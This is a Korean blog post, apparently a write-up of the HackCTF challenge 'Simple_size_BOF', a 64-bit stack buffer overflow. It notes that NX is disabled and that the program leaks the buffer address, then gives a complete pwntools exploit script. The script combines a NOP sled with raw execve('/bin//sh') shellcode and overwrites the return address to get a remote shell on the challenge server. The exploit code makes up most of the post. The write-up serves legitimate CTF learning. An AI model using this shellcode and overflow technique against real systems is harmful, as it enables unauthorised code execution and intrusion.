HACKCTF - x64 Simple_size_BOF
2020. 7. 13. 13:46ㆍCTF's Write-up
전 문제와 똑같이 문제 이름 만으로 유추해보면 x64 BOF 문제같다.
실행시켜 보겠습니당.
자살방지 문제라고 해서 조금 깜짝놀랐네요 ㅋㅋ
실제로 문제 풀다가 약간 자살각이 서기는 했습니다.
함수를 보면 처음에 v4의 주소를 뿌려주고,
v4에 값을 받고 끝나버립니다. 굉장히 허무한데요..?
보호기법을 확인하니 NX가 설정되어있지 않습니다.
따라서 v4주소를 받으니
1. 받은 v4주소를 저장해둔다.
2. v4에 값을 입력할때 shellcode를 입력한다
3. 리턴을 v4로 준다.
로 익스 코드를 짤 수 있습니다.
필자는 초반에 자살각이 슨 이유가 버퍼위치를 맞게 준거 같은데 안되서 삽질좀하다가, nopslid기법를 사용해서 해결하려고 하였습니다.
아래는 익스 코드입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3005)
#r = process("./Simple_size_bof")
e = ELF("./Simple_size_bof")
context.log_level = "debug"
log.info("bss = ")
log.info(r.recvuntil("buf: "))
buf = int(r.recv(), 16)
log.info("return add = " + hex(buf))
payload = ""
payload += "\x90"*0x1000
payload += "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload += "\x90"*(0x6D30-0x1f-0x1000)+"\x90"*0x8
payload += p64(buf)
r.sendline(payload)
r.interactive()
|
cs |
실제로 실행시키면 아래와 같이 쉘 획득이 가능합니다.
추가로 팁아닌 팁을 드리면 익스를 할때 코드를 항상 debug모드로 하는 이유는 "context.log_level = "debug"
오류가 나거나 입출력할떄 어떤 형식으로 들어가는지 확인하면 수정이 더 빠르기 떄문입니다. 한번 사용해보세요 ㅎㅎ
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - 보물 (0) | 2020.07.14 |
---|---|
HACKCTF - Simple_Overflow_ver_2 (0) | 2020.07.14 |
HACKCTF - BF (0) | 2020.07.13 |
HACKCTF - Who am I? (0) | 2020.07.12 |
HACKCTF - Welcome_REV (0) | 2020.07.11 |